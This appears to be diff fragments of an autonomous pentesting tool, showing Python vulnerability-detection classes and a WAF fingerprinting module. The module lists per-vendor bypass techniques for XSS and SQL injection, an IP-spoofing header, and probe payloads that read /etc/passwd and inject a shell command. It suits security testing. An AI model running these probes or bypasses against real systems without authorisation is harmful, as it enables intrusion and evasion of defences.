||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for duplicate operation success indicators"""
|
||||
body_lower = response_body.lower()
|
||||
|
||||
# Multiple success responses from concurrent requests
|
||||
if context.get("concurrent_successes", 0) > 1:
|
||||
return True, 0.85, f"Race condition: {context['concurrent_successes']} concurrent requests succeeded"
|
||||
|
||||
# Double-spend / duplicate operation indicators
|
||||
duplicate_indicators = [
|
||||
"already processed", "duplicate", "already exists",
|
||||
"already applied", "already redeemed",
|
||||
]
|
||||
# If we got a success despite expected duplicate check
|
||||
if response_status in [200, 201]:
|
||||
success_words = ["success", "created", "processed", "applied", "completed", "confirmed"]
|
||||
if any(w in body_lower for w in success_words):
|
||||
if context.get("request_count", 0) > 1:
|
||||
return True, 0.7, "Race condition: operation succeeded multiple times"
|
||||
|
||||
# Check for resource count discrepancy
|
||||
if "balance" in body_lower or "quantity" in body_lower or "count" in body_lower:
|
||||
numbers = re.findall(r'"(?:balance|quantity|count|amount)"\s*:\s*(-?\d+\.?\d*)', response_body)
|
||||
if numbers and context.get("expected_value") is not None:
|
||||
try:
|
||||
actual = float(numbers[0])
|
||||
expected = float(context["expected_value"])
|
||||
if actual != expected:
|
||||
return True, 0.75, f"Race condition: value mismatch (expected {expected}, got {actual})"
|
||||
except (ValueError, IndexError):
|
||||
pass
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class BusinessLogicTester(BaseTester):
|
||||
"""Tester for Business Logic vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "business_logic"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for business logic bypass indicators"""
|
||||
body_lower = response_body.lower()
|
||||
|
||||
# Negative value acceptance
|
||||
if re.search(r"-\d+", payload):
|
||||
if response_status == 200:
|
||||
if any(w in body_lower for w in ["success", "accepted", "processed", "approved"]):
|
||||
return True, 0.8, "Business logic: negative value accepted"
|
||||
# Check for negative pricing
|
||||
if re.search(r'"(?:total|price|amount)"\s*:\s*-\d+', response_body):
|
||||
return True, 0.9, "Business logic: negative price/amount in response"
|
||||
|
||||
# Zero-value bypass
|
||||
if payload.strip() in ["0", "0.00", "0.0"]:
|
||||
if response_status == 200 and "success" in body_lower:
|
||||
return True, 0.75, "Business logic: zero value accepted for transaction"
|
||||
|
||||
# Workflow step skip
|
||||
if context.get("skipped_step"):
|
||||
if response_status == 200:
|
||||
return True, 0.7, f"Business logic: step '{context['skipped_step']}' was skippable"
|
||||
|
||||
# Discount/coupon abuse
|
||||
if "coupon" in payload.lower() or "discount" in payload.lower():
|
||||
if re.search(r'"discount"\s*:\s*(?:100|[1-9]\d{2,})', response_body):
|
||||
return True, 0.8, "Business logic: excessive discount applied"
|
||||
|
||||
# Role/privilege escalation via parameter
|
||||
if any(w in payload.lower() for w in ["admin", "role=admin", "is_admin=true", "privilege"]):
|
||||
if response_status == 200 and "admin" in body_lower:
|
||||
return True, 0.6, "Business logic: privilege escalation parameter accepted"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class RateLimitBypassTester(BaseTester):
|
||||
"""Tester for Rate Limit Bypass vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "rate_limit_bypass"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for continued success after many requests (bypass)"""
|
||||
headers_lower = {k.lower(): v for k, v in response_headers.items()}
|
||||
|
||||
# After many requests, still getting 200
|
||||
request_count = context.get("request_count", 0)
|
||||
if request_count > 50 and response_status == 200:
|
||||
# Check rate limit headers
|
||||
remaining = headers_lower.get("x-ratelimit-remaining",
|
||||
headers_lower.get("x-rate-limit-remaining",
|
||||
headers_lower.get("ratelimit-remaining")))
|
||||
if remaining is not None:
|
||||
try:
|
||||
if int(remaining) > 0:
|
||||
return True, 0.6, f"Rate limit not enforced after {request_count} requests (remaining: {remaining})"
|
||||
except ValueError:
|
||||
pass
|
||||
else:
|
||||
# No rate limit headers at all
|
||||
return True, 0.7, f"No rate limiting detected after {request_count} requests"
|
||||
|
||||
# Rate limit bypass via header manipulation
|
||||
bypass_headers = ["x-forwarded-for", "x-real-ip", "x-originating-ip", "x-client-ip"]
|
||||
if any(h in payload.lower() for h in bypass_headers):
|
||||
if response_status == 200 and context.get("was_rate_limited"):
|
||||
return True, 0.85, "Rate limit bypassed via IP spoofing header"
|
||||
|
||||
# Check if 429 was expected but got 200
|
||||
if context.get("expected_429") and response_status == 200:
|
||||
return True, 0.8, "Expected 429 (rate limited) but received 200"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class ParameterPollutionTester(BaseTester):
|
||||
"""Tester for HTTP Parameter Pollution vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "parameter_pollution"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for different behavior with duplicate parameters"""
|
||||
# Compare response with baseline (single param)
|
||||
if "baseline_body" in context and "baseline_status" in context:
|
||||
baseline_len = len(context["baseline_body"])
|
||||
current_len = len(response_body)
|
||||
diff = abs(current_len - baseline_len)
|
||||
|
||||
# Significant response difference
|
||||
if diff > 200:
|
||||
return True, 0.7, f"Parameter pollution: response differs by {diff} bytes from baseline"
|
||||
|
||||
# Status code difference
|
||||
if response_status != context["baseline_status"]:
|
||||
return True, 0.75, f"Parameter pollution: status changed from {context['baseline_status']} to {response_status}"
|
||||
|
||||
# Check if attacker-controlled value was used
|
||||
if "neurosploit" in payload and "neurosploit" in response_body:
|
||||
if context.get("original_value") and context["original_value"] not in response_body:
|
||||
return True, 0.8, "Parameter pollution: attacker value used instead of original"
|
||||
|
||||
# WAF bypass via duplicate params
|
||||
if context.get("waf_blocked_original") and response_status == 200:
|
||||
return True, 0.8, "Parameter pollution: WAF bypass - blocked payload succeeded with duplicate params"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class TypeJugglingTester(BaseTester):
|
||||
"""Tester for Type Juggling / Type Coercion vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "type_juggling"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for auth bypass with type coercion"""
|
||||
body_lower = response_body.lower()
|
||||
|
||||
# Type juggling payloads
|
||||
juggling_values = ["0", "true", "false", "null", "[]", "{}", "0e123", "0e999"]
|
||||
|
||||
if payload.strip() in juggling_values or payload.strip().startswith("0e"):
|
||||
# Auth bypass
|
||||
if response_status == 200:
|
||||
auth_success = [
|
||||
"authenticated", "logged in", "welcome", "dashboard",
|
||||
"token", "session", "success",
|
||||
]
|
||||
for indicator in auth_success:
|
||||
if indicator in body_lower:
|
||||
return True, 0.8, f"Type juggling: auth bypass with '{payload.strip()}' - '{indicator}' in response"
|
||||
|
||||
# JWT/token accepted
|
||||
if "jwt" in body_lower or "bearer" in body_lower:
|
||||
if response_status == 200:
|
||||
return True, 0.7, f"Type juggling: token accepted with value '{payload.strip()}'"
|
||||
|
||||
# Magic hash comparison bypass (0e strings)
|
||||
if re.match(r"0e\d+", payload.strip()):
|
||||
if response_status == 200 and any(w in body_lower for w in ["match", "equal", "valid", "correct"]):
|
||||
return True, 0.85, f"Type juggling: magic hash bypass with '{payload.strip()}'"
|
||||
|
||||
# Array vs string comparison
|
||||
if payload.strip() in ["[]", "Array"]:
|
||||
if response_status == 200 and "success" in body_lower:
|
||||
return True, 0.7, "Type juggling: array comparison bypass"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class TimingAttackTester(BaseTester):
|
||||
"""Tester for Timing Attack vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "timing_attack"
|
||||
|
||||
def check_timeout_vulnerability(self, vuln_type: str) -> bool:
|
||||
"""Timing attacks are detected via response time differences"""
|
||||
return True
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check response time differences for timing side channels"""
|
||||
# Primary detection is via response timing (handled by engine)
|
||||
response_time = context.get("response_time_ms", 0)
|
||||
baseline_time = context.get("baseline_time_ms", 0)
|
||||
|
||||
if response_time > 0 and baseline_time > 0:
|
||||
diff = response_time - baseline_time
|
||||
# Significant timing difference (> 100ms)
|
||||
if diff > 100:
|
||||
return True, 0.7, f"Timing attack: {diff}ms difference (baseline: {baseline_time}ms, actual: {response_time}ms)"
|
||||
# Very significant (> 500ms)
|
||||
if diff > 500:
|
||||
return True, 0.9, f"Timing attack: {diff}ms difference strongly indicates character-by-character comparison"
|
||||
|
||||
# Check for timing via multiple measurements
|
||||
if "timing_samples" in context:
|
||||
samples = context["timing_samples"]
|
||||
if len(samples) >= 2:
|
||||
max_diff = max(samples) - min(samples)
|
||||
if max_diff > 200:
|
||||
return True, 0.65, f"Timing attack: {max_diff}ms variance across samples"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class HostHeaderInjectionTester(BaseTester):
|
||||
"""Tester for Host Header Injection vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "host_header_injection"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for Host value reflected in response links/URLs"""
|
||||
body_lower = response_body.lower()
|
||||
|
||||
# Injected host appearing in response
|
||||
evil_hosts = ["evil.com", "attacker.com", "neurosploit.test", "canary.host"]
|
||||
for host in evil_hosts:
|
||||
if host in payload.lower() and host in body_lower:
|
||||
# High confidence if in URL context
|
||||
url_contexts = [
|
||||
rf'https?://{re.escape(host)}',
|
||||
rf'href\s*=\s*["\'][^"\']*{re.escape(host)}',
|
||||
rf'action\s*=\s*["\'][^"\']*{re.escape(host)}',
|
||||
rf'redirect.*{re.escape(host)}',
|
||||
]
|
||||
for pattern in url_contexts:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.9, f"Host header injection: '{host}' reflected in URL context"
|
||||
|
||||
return True, 0.7, f"Host header injection: '{host}' reflected in response body"
|
||||
|
||||
# X-Forwarded-Host injection
|
||||
if "x-forwarded-host" in payload.lower():
|
||||
headers_lower = {k.lower(): v for k, v in response_headers.items()}
|
||||
location = headers_lower.get("location", "")
|
||||
if any(h in location.lower() for h in evil_hosts):
|
||||
return True, 0.9, "Host header injection: X-Forwarded-Host reflected in redirect"
|
||||
|
||||
# Password reset link poisoning
|
||||
if context.get("is_password_reset") and response_status == 200:
|
||||
for host in evil_hosts:
|
||||
if host in body_lower:
|
||||
return True, 0.95, f"Host header injection in password reset: link points to '{host}'"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class HttpSmugglingTester(BaseTester):
|
||||
"""Tester for HTTP Request Smuggling vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "http_smuggling"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for HTTP smuggling indicators"""
|
||||
headers_lower = {k.lower(): v for k, v in response_headers.items()}
|
||||
|
||||
# Response splitting - two HTTP responses in one
|
||||
if re.search(r"HTTP/\d\.\d\s+\d{3}", response_body):
|
||||
return True, 0.85, "HTTP smuggling: embedded HTTP response in body (response splitting)"
|
||||
|
||||
# Conflicting Content-Length and Transfer-Encoding
|
||||
has_cl = "content-length" in headers_lower
|
||||
has_te = "transfer-encoding" in headers_lower
|
||||
if has_cl and has_te:
|
||||
return True, 0.7, "HTTP smuggling: both Content-Length and Transfer-Encoding present"
|
||||
|
||||
# CL.TE or TE.CL desync indicators
|
||||
if context.get("desync_detected"):
|
||||
return True, 0.9, "HTTP smuggling: request desync confirmed"
|
||||
|
||||
# Unexpected response to smuggled second request
|
||||
if "smuggle_marker" in context:
|
||||
marker = context["smuggle_marker"]
|
||||
if marker in response_body:
|
||||
return True, 0.85, f"HTTP smuggling: smuggled request marker '{marker}' in response"
|
||||
|
||||
# Different status than expected (frontend vs backend disagreement)
|
||||
if context.get("expected_status") and response_status != context["expected_status"]:
|
||||
if response_status in [400, 403] and context["expected_status"] == 200:
|
||||
return True, 0.5, f"HTTP smuggling: status mismatch (expected {context['expected_status']}, got {response_status})"
|
||||
|
||||
# Timeout on second request (queued/poisoned)
|
||||
if context.get("second_request_timeout"):
|
||||
return True, 0.7, "HTTP smuggling: second request timed out (possible queue poisoning)"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
def check_timeout_vulnerability(self, vuln_type: str) -> bool:
|
||||
"""Smuggling can cause timeouts on subsequent requests"""
|
||||
return True
|
||||
|
||||
|
||||
class CachePoisoningTester(BaseTester):
|
||||
"""Tester for Web Cache Poisoning vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "cache_poisoning"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for cache poisoning - injected content served from cache"""
|
||||
headers_lower = {k.lower(): v for k, v in response_headers.items()}
|
||||
|
||||
# Check for cache hit with injected content
|
||||
cache_hit = False
|
||||
cache_headers = ["x-cache", "cf-cache-status", "x-varnish", "x-drupal-cache",
|
||||
"x-proxy-cache", "x-cdn-cache"]
|
||||
for header in cache_headers:
|
||||
value = headers_lower.get(header, "").lower()
|
||||
if "hit" in value:
|
||||
cache_hit = True
|
||||
break
|
||||
|
||||
# Age header indicates cached response
|
||||
age = headers_lower.get("age")
|
||||
if age and age != "0":
|
||||
cache_hit = True
|
||||
|
||||
if cache_hit:
|
||||
# Check if our injected content is in the cached response
|
||||
injection_markers = ["neurosploit", "xss", "evil.com", "attacker"]
|
||||
for marker in injection_markers:
|
||||
if marker in payload.lower() and marker in response_body.lower():
|
||||
return True, 0.9, f"Cache poisoning: injected content '{marker}' served from cache"
|
||||
|
||||
# Unkeyed header reflected in response (potential cache poison vector)
|
||||
unkeyed_headers = ["x-forwarded-host", "x-forwarded-scheme", "x-original-url",
|
||||
"x-rewrite-url", "x-forwarded-prefix"]
|
||||
for header in unkeyed_headers:
|
||||
if header in payload.lower():
|
||||
# Check if the value appears in response
|
||||
for marker in ["evil.com", "neurosploit", "attacker"]:
|
||||
if marker in payload.lower() and marker in response_body.lower():
|
||||
cache_status = "cached" if cache_hit else "uncached"
|
||||
confidence = 0.85 if cache_hit else 0.5
|
||||
return True, confidence, f"Cache poisoning: unkeyed header '{header}' reflected ({cache_status})"
|
||||
|
||||
# Cache deception check
|
||||
if context.get("is_cache_deception_test"):
|
||||
if cache_hit and ("token" in response_body.lower() or "session" in response_body.lower()):
|
||||
return True, 0.8, "Cache deception: sensitive data cached via path confusion"
|
||||
|
||||
return False, 0.0, None
|
||||
@@ -97,3 +97,115 @@ class CSRFTester(BaseTester):
|
||||
return True, 0.7, "No CSRF token found in form - possible CSRF"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class GraphqlIntrospectionTester(BaseTester):
|
||||
"""Tester for GraphQL Introspection exposure"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "graphql_introspection"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for __schema data in response indicating introspection is enabled"""
|
||||
if response_status == 200:
|
||||
# Direct __schema indicators
|
||||
schema_patterns = [
|
||||
r'"__schema"\s*:\s*\{',
|
||||
r'"__type"\s*:\s*\{',
|
||||
r'"queryType"\s*:\s*\{',
|
||||
r'"mutationType"\s*:\s*\{',
|
||||
r'"subscriptionType"\s*:',
|
||||
r'"types"\s*:\s*\[.*"name"\s*:\s*"__',
|
||||
r'"directives"\s*:\s*\[.*"name"\s*:',
|
||||
]
|
||||
|
||||
for pattern in schema_patterns:
|
||||
if re.search(pattern, response_body, re.IGNORECASE | re.DOTALL):
|
||||
return True, 0.9, "GraphQL introspection: Full schema exposed via __schema query"
|
||||
|
||||
# Check for type listings
|
||||
type_listing_patterns = [
|
||||
r'"kind"\s*:\s*"(?:OBJECT|SCALAR|ENUM|INPUT_OBJECT|INTERFACE|UNION)"',
|
||||
r'"fields"\s*:\s*\[.*"name"\s*:.*"type"\s*:',
|
||||
r'"inputFields"\s*:\s*\[',
|
||||
r'"enumValues"\s*:\s*\[',
|
||||
]
|
||||
|
||||
type_match_count = sum(
|
||||
1 for p in type_listing_patterns
|
||||
if re.search(p, response_body, re.IGNORECASE | re.DOTALL)
|
||||
)
|
||||
if type_match_count >= 2:
|
||||
return True, 0.85, "GraphQL introspection: Type schema data exposed"
|
||||
|
||||
# Check for field suggestions (partial introspection)
|
||||
if re.search(r'"(?:message|errors)".*"Did you mean.*"', response_body):
|
||||
return True, 0.6, "GraphQL introspection: Field suggestions leak schema information"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class GraphqlDosTester(BaseTester):
|
||||
"""Tester for GraphQL Denial of Service via deeply nested queries"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "graphql_dos"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for slow response with deeply nested queries indicating DoS potential"""
|
||||
# Check response time for nested query DoS
|
||||
response_time_ms = context.get("response_time_ms", 0)
|
||||
|
||||
# Nested query indicators in payload
|
||||
nesting_indicators = [
|
||||
payload.count("{") > 5,
|
||||
"__typename" in payload and payload.count("__typename") > 3,
|
||||
"fragment" in payload.lower() and "..." in payload,
|
||||
]
|
||||
is_nested_payload = any(nesting_indicators)
|
||||
|
||||
if is_nested_payload:
|
||||
# Very slow response indicates resource exhaustion
|
||||
if response_time_ms > 10000: # > 10 seconds
|
||||
return True, 0.85, f"GraphQL DoS: Deeply nested query caused {response_time_ms}ms response time"
|
||||
|
||||
if response_time_ms > 5000: # > 5 seconds
|
||||
return True, 0.7, f"GraphQL DoS: Nested query caused slow response ({response_time_ms}ms)"
|
||||
|
||||
# Check for timeout/error responses
|
||||
if response_status in [408, 504, 502]:
|
||||
if is_nested_payload:
|
||||
return True, 0.8, "GraphQL DoS: Server timeout on deeply nested query"
|
||||
|
||||
# Check for resource limit errors (server has some protection but confirms issue)
|
||||
resource_errors = [
|
||||
r"query.*(?:too complex|too deep|exceeds.*(?:depth|complexity))",
|
||||
r"max.*(?:depth|complexity).*(?:exceeded|reached)",
|
||||
r"(?:depth|complexity)\s+limit",
|
||||
r"query.*(?:cost|weight).*exceeded",
|
||||
]
|
||||
for pattern in resource_errors:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.5, "GraphQL DoS: Depth/complexity limits exist but confirm nested queries are processed"
|
||||
|
||||
# Server error on complex query
|
||||
if response_status == 500 and is_nested_payload:
|
||||
return True, 0.65, "GraphQL DoS: Server error on deeply nested query"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
@@ -0,0 +1,533 @@
|
||||
"""
|
||||
NeuroSploit v3 - WAF Detector
|
||||
|
||||
WAF fingerprinting, bypass strategy database, and payload adaptation
|
||||
for autonomous pentesting. Detects 15+ WAF vendors and provides
|
||||
per-WAF bypass techniques.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import re
|
||||
from dataclasses import dataclass, field
|
||||
from typing import Dict, List, Optional, Any
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
@dataclass
|
||||
class WAFMatch:
|
||||
"""A detected WAF."""
|
||||
name: str # "cloudflare", "aws_waf", etc.
|
||||
confidence: float # 0.0-1.0
|
||||
detection_method: str # "header", "body", "server", "probe"
|
||||
evidence: str
|
||||
|
||||
|
||||
@dataclass
|
||||
class WAFResult:
|
||||
"""Complete WAF detection result."""
|
||||
detected_wafs: List[WAFMatch] = field(default_factory=list)
|
||||
blocking_patterns: Dict[str, bool] = field(default_factory=dict)
|
||||
recommended_delay: float = 0.1
|
||||
|
||||
|
||||
# 15+ WAF signatures
|
||||
WAF_SIGNATURES = {
|
||||
"cloudflare": {
|
||||
"headers": ["cf-ray", "cf-request-id", "cf-cache-status"],
|
||||
"body": ["cloudflare", "ray id:", "error 1020", "error 1015"],
|
||||
"server": ["cloudflare"],
|
||||
},
|
||||
"aws_waf": {
|
||||
"headers": ["x-amzn-requestid", "x-amzn-errortype"],
|
||||
"body": ["request blocked", "aws waf"],
|
||||
"server": ["cloudfront", "amazons3"],
|
||||
},
|
||||
"akamai": {
|
||||
"headers": ["x-akamai-session-info", "akamai-origin-hop"],
|
||||
"body": ["akamai", "ghost"],
|
||||
"server": ["akamaighost"],
|
||||
},
|
||||
"imperva": {
|
||||
"headers": ["x-iinfo", "x-cdn"],
|
||||
"body": ["imperva", "incapsula incident", "incapsula"],
|
||||
"server": ["imperva"],
|
||||
},
|
||||
"modsecurity": {
|
||||
"headers": ["x-denied-reason", "x-modsecurity"],
|
||||
"body": ["mod_security", "modsecurity", "noyb"],
|
||||
"server": [],
|
||||
},
|
||||
"f5_bigip": {
|
||||
"headers": ["x-waf-status", "x-cnection"],
|
||||
"body": ["the requested url was rejected"],
|
||||
"server": ["big-ip", "bigip", "f5"],
|
||||
},
|
||||
"sucuri": {
|
||||
"headers": ["x-sucuri-id", "x-sucuri-cache"],
|
||||
"body": ["sucuri", "sucuri website firewall", "cloudproxy"],
|
||||
"server": ["sucuri"],
|
||||
},
|
||||
"barracuda": {
|
||||
"headers": ["barra_counter_session"],
|
||||
"body": ["barracuda", "barracuda networks"],
|
||||
"server": [],
|
||||
},
|
||||
"fortinet": {
|
||||
"headers": ["x-fw-server"],
|
||||
"body": ["fortigate", "fortiweb", "fortinet"],
|
||||
"server": ["fortiweb"],
|
||||
},
|
||||
"citrix": {
|
||||
"headers": ["citrix-transactionid", "cneonction", "nncoection"],
|
||||
"body": ["citrix", "netscaler appfw"],
|
||||
"server": ["netscaler"],
|
||||
},
|
||||
"azure_waf": {
|
||||
"headers": ["x-azure-ref", "x-ms-forbidden-ip"],
|
||||
"body": ["azure application gateway", "azure front door"],
|
||||
"server": ["microsoft-azure-application-gateway"],
|
||||
},
|
||||
"gcp_armor": {
|
||||
"headers": ["x-cloud-trace-context"],
|
||||
"body": ["google cloud armor", "forbidden by security policy"],
|
||||
"server": ["google frontend", "gfe"],
|
||||
},
|
||||
"wordfence": {
|
||||
"headers": [],
|
||||
"body": ["wordfence", "generated by wordfence", "this response was generated by wordfence"],
|
||||
"server": [],
|
||||
},
|
||||
"cloudfront": {
|
||||
"headers": ["x-amz-cf-id", "x-amz-cf-pop"],
|
||||
"body": ["cloudfront", "error from cloudfront"],
|
||||
"server": ["cloudfront"],
|
||||
},
|
||||
"fastly": {
|
||||
"headers": ["x-fastly-request-id", "fastly-restarts"],
|
||||
"body": ["fastly error"],
|
||||
"server": ["fastly"],
|
||||
},
|
||||
"reblaze": {
|
||||
"headers": ["rbzid"],
|
||||
"body": ["reblaze", "access denied (rbz)"],
|
||||
"server": ["reblaze"],
|
||||
},
|
||||
}
|
||||
|
||||
# Bypass strategies per WAF
|
||||
BYPASS_STRATEGIES = {
|
||||
"cloudflare": {
|
||||
"xss": [
|
||||
"unicode_escape", # \u003cscript\u003e
|
||||
"svg_payload", # <svg onload=...>
|
||||
"comment_injection", # <scr<!---->ipt>
|
||||
"case_mixing", # <ScRiPt>
|
||||
"html_entity", # <script>
|
||||
],
|
||||
"sqli": [
|
||||
"inline_comment", # /*!50000UNION*/
|
||||
"case_mixing", # uNiOn SeLeCt
|
||||
"whitespace_variant", # UNION%0bSELECT
|
||||
"scientific_notation", # 1e0UNION
|
||||
],
|
||||
"general": {
|
||||
"delay": 0.3,
|
||||
"headers": {"X-Forwarded-For": "127.0.0.1"},
|
||||
},
|
||||
},
|
||||
"modsecurity": {
|
||||
"xss": [
|
||||
"inline_comment",
|
||||
"case_mixing",
|
||||
"whitespace_variant",
|
||||
"null_byte",
|
||||
],
|
||||
"sqli": [
|
||||
"inline_comment", # /*!50000OR*/
|
||||
"case_mixing",
|
||||
"double_encoding", # %2527
|
||||
"whitespace_variant", # tab, newline, %0a
|
||||
],
|
||||
"general": {
|
||||
"delay": 0.2,
|
||||
},
|
||||
},
|
||||
"aws_waf": {
|
||||
"xss": [
|
||||
"double_encoding",
|
||||
"null_byte",
|
||||
"unicode_escape",
|
||||
"svg_payload",
|
||||
],
|
||||
"sqli": [
|
||||
"double_encoding", # %253C = <
|
||||
"null_byte", # \x00
|
||||
"scientific_notation", # 1e0=1
|
||||
"concat_function", # CONCAT(0x27,...)
|
||||
],
|
||||
"general": {
|
||||
"delay": 0.2,
|
||||
},
|
||||
},
|
||||
"imperva": {
|
||||
"xss": [
|
||||
"unicode_escape",
|
||||
"html_entity",
|
||||
"svg_payload",
|
||||
"comment_injection",
|
||||
],
|
||||
"sqli": [
|
||||
"inline_comment",
|
||||
"hex_encoding",
|
||||
"whitespace_variant",
|
||||
],
|
||||
"general": {
|
||||
"delay": 0.5,
|
||||
},
|
||||
},
|
||||
"generic": {
|
||||
"xss": [
|
||||
"case_mixing",
|
||||
"unicode_escape",
|
||||
"svg_payload",
|
||||
"html_entity",
|
||||
],
|
||||
"sqli": [
|
||||
"inline_comment",
|
||||
"case_mixing",
|
||||
"whitespace_variant",
|
||||
],
|
||||
"general": {
|
||||
"delay": 0.3,
|
||||
"headers": {"X-Forwarded-For": "127.0.0.1"},
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
|
||||
class WAFDetector:
|
||||
"""WAF fingerprinting and bypass strategy engine.
|
||||
|
||||
Usage:
|
||||
detector = WAFDetector(request_engine)
|
||||
result = await detector.detect(url)
|
||||
if result.detected_wafs:
|
||||
adapted = detector.adapt_payload(payload, waf_name, vuln_type)
|
||||
"""
|
||||
|
||||
# Probe payloads that trigger WAF responses
|
||||
PROBE_PAYLOADS = {
|
||||
"xss": "<script>alert(1)</script>",
|
||||
"sqli": "' OR 1=1--",
|
||||
"lfi": "../../etc/passwd",
|
||||
"rce": ";cat /etc/passwd",
|
||||
}
|
||||
|
||||
def __init__(self, request_engine=None):
|
||||
self.request_engine = request_engine
|
||||
self._cache: Dict[str, WAFResult] = {} # url -> result
|
||||
|
||||
async def detect(self, url: str) -> WAFResult:
|
||||
"""Detect WAFs on the target URL.
|
||||
|
||||
Phase 1: Passive detection (headers/body from normal response)
|
||||
Phase 2: Active probing (send trigger payloads, analyze blocks)
|
||||
"""
|
||||
from urllib.parse import urlparse
|
||||
host = urlparse(url).netloc
|
||||
if host in self._cache:
|
||||
return self._cache[host]
|
||||
|
||||
detected: List[WAFMatch] = []
|
||||
blocking: Dict[str, bool] = {}
|
||||
|
||||
# Phase 1: Passive detection from baseline request
|
||||
if self.request_engine:
|
||||
try:
|
||||
result = await self.request_engine.request(url, method="GET")
|
||||
if result:
|
||||
passive_wafs = self._check_signatures(
|
||||
result.headers, result.body, result.status
|
||||
)
|
||||
detected.extend(passive_wafs)
|
||||
except Exception as e:
|
||||
logger.debug(f"WAF passive detection error: {e}")
|
||||
|
||||
# Phase 2: Active probing (only if request engine available)
|
||||
if self.request_engine:
|
||||
for probe_type, payload in self.PROBE_PAYLOADS.items():
|
||||
try:
|
||||
probe_url = f"{url}?test={payload}"
|
||||
result = await self.request_engine.request(
|
||||
probe_url, method="GET"
|
||||
)
|
||||
if result:
|
||||
if result.status in (403, 406, 429, 501):
|
||||
blocking[probe_type] = True
|
||||
probe_wafs = self._check_signatures(
|
||||
result.headers, result.body, result.status
|
||||
)
|
||||
for w in probe_wafs:
|
||||
if not any(d.name == w.name for d in detected):
|
||||
w.detection_method = "probe"
|
||||
detected.append(w)
|
||||
else:
|
||||
blocking[probe_type] = False
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Determine recommended delay
|
||||
delay = 0.1
|
||||
if detected:
|
||||
primary_waf = detected[0].name
|
||||
strategy = BYPASS_STRATEGIES.get(primary_waf, BYPASS_STRATEGIES["generic"])
|
||||
delay = strategy.get("general", {}).get("delay", 0.3)
|
||||
|
||||
waf_result = WAFResult(
|
||||
detected_wafs=detected,
|
||||
blocking_patterns=blocking,
|
||||
recommended_delay=delay,
|
||||
)
|
||||
